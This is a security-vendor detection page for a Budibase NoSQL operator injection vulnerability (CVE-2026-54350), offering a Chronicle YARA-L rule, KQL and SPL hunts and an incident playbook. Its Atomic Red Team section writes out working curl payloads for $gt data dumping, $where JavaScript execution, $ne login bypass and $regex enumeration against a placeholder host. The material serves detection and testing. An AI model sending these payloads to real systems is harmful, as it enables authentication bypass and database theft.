CVE-2026-54350 Google Chronicle · YARA-L

Detect Budibase Anonymous NoSQL Operator Injection via Published-App Query Templates in Google Chronicle

CVE-2026-54350 is a critical (CVSS 10.0) NoSQL operator injection vulnerability in @budibase/server versions prior to 3.39.12. Unauthenticated attackers can inject MongoDB-style operators (e.g., $gt, $where, $regex) into published-app query templates, bypassing authentication and data access controls. Successful exploitation can lead to full database exfiltration, authentication bypass, and remote code execution via $where clauses. A public PoC is available.

MITRE ATT&CK

Tactic
Initial Access Credential Access Discovery Collection

YARA-L Detection Query

Google Chronicle (YARA-L)
yaral 
rule budibase_nosql_operator_injection {
  meta:
    author = "df00tech Detection Engineering"
    description = "Detects NoSQL operator injection attempts against Budibase published-app query endpoints (CVE-2026-54350)"
    severity = "CRITICAL"
    priority = "HIGH"
    reference = "https://github.com/advisories/GHSA-8qv3-p479-cj62"
    mitre_attack_tactic = "Initial Access"
    mitre_attack_technique = "T1190"

  events:
    $http.metadata.event_type = "NETWORK_HTTP"
    (
      re.regex($http.target.url, `/api/public/v1/queries`) or
      re.regex($http.target.url, `/api/v1/queries`)
    )
    (
      re.regex($http.network.http.request_url, `\$(?:gt|gte|lt|lte|ne|in|nin|exists|where|regex|elemMatch|or|and|not|nor)`) or
      re.regex($http.security_result.summary, `\$(?:gt|gte|lt|lte|ne|in|nin|exists|where|regex|elemMatch|or|and|not|nor)`)
    )

  condition:
    $http
}
critical severity high confidence

Chronicle YARA-L rule detecting NoSQL operator injection payloads in HTTP requests to Budibase query API endpoints. Matches on operator patterns in request URLs and security result summaries.

Data Sources

Chronicle Network TelemetryWeb Proxy Logs ingested to ChronicleCASB/WAF feeds

Required Tables

NETWORK_HTTP UDM events

False Positives & Tuning

  • Budibase SaaS clients using advanced filter syntax that includes operator-like strings in field values
  • Authorized red team or bug bounty testing of production Budibase instances
  • Custom Budibase plugins or extensions that construct MongoDB-style query objects

Other platforms for CVE-2026-54350

Microsoft Sentinel (KQL) Splunk (SPL) Elastic Security (Elastic) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Basic NoSQL Operator Injection via Budibase Published Query API

    Expected signal: HTTP POST request to /api/public/v1/queries/{id} with JSON body containing '$gt' operator visible in web proxy logs or network capture

  2. Test 2JavaScript Execution via $where NoSQL Operator (RCE Path)

    Expected signal: HTTP POST with '$where' string in request body; potentially elevated response time if JavaScript executes; MongoDB slow query log entry if profiling enabled

  3. Test 3Authentication Bypass via $ne Operator on User Collection Query

    Expected signal: POST request to Budibase query endpoint with $ne operators in both username and password fields; HTTP 200 response with user record(s) returned if vulnerable

  4. Test 4Data Exfiltration via $regex Operator Enumeration

    Expected signal: Series of POST requests to same Budibase query endpoint with varying $regex patterns; observable as repeated requests with incrementing operator values in proxy logs

Last updated: 2026-07-21 Research depth: standard
References (2)

Response Playbook

Triage

  1. Identify the source IP(s) and user agents in the injection attempt logs; cross-reference against known scanners (Shodan, Censys bots) and threat intelligence feeds to determine if this is opportunistic scanning or targeted exploitation.
  2. Determine if the Budibase instance is publicly exposed (check firewall rules, reverse proxy configs, and DNS records for the affected host). Public exposure with a PoC available (GHSA-8qv3-p479-cj62) dramatically increases risk.
  3. Check the Budibase server version immediately: inspect package.json or run `npm list @budibase/server` on the host. If version is < 3.39.12, treat as actively exploitable and escalate to Sev1.
  4. Review Budibase application logs for anomalous query results, large data responses, or $where operator usage which may indicate JavaScript execution. Look for unusual response sizes that may indicate data exfiltration.

Containment

  1. If exploitation is confirmed or the instance is unpatched and publicly exposed, immediately block the attacker's IP(s) at the perimeter firewall or WAF, and if necessary place the Budibase service behind a VPN or IP allowlist until patching is complete.
  2. Deploy WAF rules to block requests containing NoSQL operator patterns ($gt, $where, $regex, etc.) in request bodies and query strings targeting Budibase API paths as an immediate compensating control prior to patching.

Evidence Collection

  1. Export full web server/reverse proxy access logs for the affected Budibase instance covering at least 7 days prior to detection, preserving original log files with timestamps and capturing all requests to /api/public/v1/queries and /api/v1/queries endpoints.
  2. Capture MongoDB (or underlying database) query logs if enabled, looking for operator injection artifacts ($where JavaScript execution, unexpected $regex patterns, or abnormally broad $gt/$lt range queries). Export slow query logs which may reveal data exfiltration attempts.

Escalation Criteria

  • !Escalate immediately to Sev1/CISO if HTTP 200 responses are observed following injection attempts (indicating successful exploitation), or if $where operator usage is detected (enabling potential server-side JavaScript RCE).
  • !Escalate if database query logs show evidence of unauthorized data access, bulk record retrieval, or authentication bypass resulting from the injection — particularly if the Budibase instance handles PII, credentials, or internal business data.

Investigation Guide

Related Techniques

[object Object][object Object][object Object]

Forensic Artifacts

  • >Web server access logs showing POST/GET requests to /api/public/v1/queries with $-prefixed operator strings in body or query parameters
  • >MongoDB query logs (if mongod --profile=1 enabled) showing injected operator queries executed against collections
  • >Budibase application logs in /var/log/budibase/ or Docker container stdout showing query execution errors or unexpected result sets
  • >Network PCAP captures showing HTTP request/response pairs where small injection requests yield unusually large data responses (indicative of full collection dump)

Tuning Guidance

Reduce false positives by baselining legitimate Budibase API consumers and creating allowlist entries for known internal service IPs. If your organization uses Budibase with MongoDB and complex filter objects are normal in your application, narrow the detection to focus specifically on unauthenticated requests (no session cookie or Authorization header) or on $where operator usage exclusively (highest risk, lowest legitimate use). For environments with WAF logs that capture request bodies, prioritize body-based matching over URL matching. Increase confidence thresholds by correlating injection attempts with HTTP 200 status codes and unusually large response payloads (>10KB for query API endpoints).

Hunting Queries

30-day historical hunt across web logs for any prior NoSQL operator injection attempts against Budibase query endpoints that may predate the detection rule deployment. Identifies previously undetected compromise attempts and establishes attacker dwell time.

Hunting — KQL
kql 
CommonSecurityLog
| where TimeGenerated >= ago(30d)
| where RequestURL has "/api/public/v1/queries" or RequestURL has "/api/v1/queries"
| where RequestContext has "$" 
| extend PotentialOperator = extract(@"(\$[a-zA-Z]+)", 1, RequestContext)
| where PotentialOperator in ("$gt", "$gte", "$lt", "$lte", "$ne", "$in", "$nin", "$exists", "$where", "$regex", "$or", "$and")
| summarize FirstSeen=min(TimeGenerated), LastSeen=max(TimeGenerated), Count=count(), Operators=make_set(PotentialOperator) by SourceIP
| order by Count desc
Hunting — SPL
spl 
index=web sourcetype IN ("access_combined", "nginx:access") 
| rex field=_raw "(?P<body_snippet>\{[^}]*\$[a-z]+[^}]*\})"
| where match(uri_path, "/api/(?:public/)?v1/queries")
| rex field=body_snippet max_match=5 "(?P<op>\$(?:gt|gte|lt|lte|ne|in|nin|exists|where|regex|or|and))"
| stats earliest(_time) as first_seen, latest(_time) as last_seen, count as hits, values(op) as operators, values(status) as response_codes by clientip
| where hits >= 1
| eval days_active = round((last_seen - first_seen) / 86400, 1)
| sort - hits

Atomic Red Team Tests

Test 1 Basic NoSQL Operator Injection via Budibase Published Query API
linux

Simulates an unauthenticated attacker sending a NoSQL operator injection payload to a Budibase published-app query endpoint to bypass data filtering and retrieve all records

Command

bash 
curl -s -X POST 'http://TARGET_BUDIBASE_HOST/api/public/v1/queries/QUERY_ID' -H 'Content-Type: application/json' -d '{"parameters": {"filter": {"_id": {"$gt": ""}}}}'

Cleanup

bash 
No cleanup required — read-only injection test against lab Budibase instance

Expected Telemetry

HTTP POST request to /api/public/v1/queries/{id} with JSON body containing '$gt' operator visible in web proxy logs or network capture

Expected Detection

Detection rule triggers on '$gt' operator in request body to Budibase query API endpoint; alert generated within 5-minute aggregation window

Test 2 JavaScript Execution via $where NoSQL Operator (RCE Path)
linux

Tests the highest-severity exploitation path: injecting a $where clause containing JavaScript to achieve server-side code execution through MongoDB's JavaScript engine

Command

bash 
curl -s -X POST 'http://TARGET_BUDIBASE_HOST/api/public/v1/queries/QUERY_ID' -H 'Content-Type: application/json' -d '{"parameters": {"filter": {"$where": "function() { return true; }"}}}'

Cleanup

bash 
No cleanup required — lab environment only; ensure MongoDB $where/JavaScript is disabled in production via --noscripting flag

Expected Telemetry

HTTP POST with '$where' string in request body; potentially elevated response time if JavaScript executes; MongoDB slow query log entry if profiling enabled

Expected Detection

Detection rule triggers with CRITICAL risk score on '$where' operator detection; should generate priority-1 alert in SIEM due to RCE potential

Test 3 Authentication Bypass via $ne Operator on User Collection Query
linux

Simulates authentication bypass by injecting $ne (not-equal) operator to match any record, potentially bypassing credential validation in Budibase query templates that check for specific values

Command

bash 
curl -s -X POST 'http://TARGET_BUDIBASE_HOST/api/public/v1/queries/AUTH_QUERY_ID' -H 'Content-Type: application/json' -d '{"parameters": {"username": {"$ne": null}, "password": {"$ne": null}}}'

Cleanup

bash 
Review any sessions created during testing in Budibase admin panel and revoke; no persistent changes to database expected

Expected Telemetry

POST request to Budibase query endpoint with $ne operators in both username and password fields; HTTP 200 response with user record(s) returned if vulnerable

Expected Detection

Multiple NoSQL operators ($ne) in single request triggers HIGH severity detection; correlation with HTTP 200 response should auto-escalate to CRITICAL

Test 4 Data Exfiltration via $regex Operator Enumeration
linux

Tests data exfiltration through regex-based enumeration — attacker iterates $regex patterns to extract sensitive field values character by character from Budibase-connected database

Command

bash 
for char in a b c d e f 1 2 3 4; do curl -s -X POST 'http://TARGET_BUDIBASE_HOST/api/public/v1/queries/QUERY_ID' -H 'Content-Type: application/json' -d "{\"parameters\": {\"filter\": {\"\$regex\": \"^${char}\"}}}\" | python3 -c \"import sys, json; data=json.load(sys.stdin); print(f'${char}: {len(data.get(\"data\", []))} matches')\"; done

Cleanup

bash 
No persistent changes; ensure lab MongoDB does not contain real PII before running enumeration test

Expected Telemetry

Series of POST requests to same Budibase query endpoint with varying $regex patterns; observable as repeated requests with incrementing operator values in proxy logs

Expected Detection

Pattern of repeated requests with $regex operator from same IP within short timeframe triggers detection; response size variation across requests provides exfiltration signal

Related Detections

Tactic Hubs

TA0001Initial AccessTA0006Credential AccessTA0007DiscoveryTA0009Collection

Related Techniques

T1190Exploit Public-Facing ApplicationT1078Valid AccountsT1213Data from Information Repositories

Same Tactic: Initial Access

Popular Detections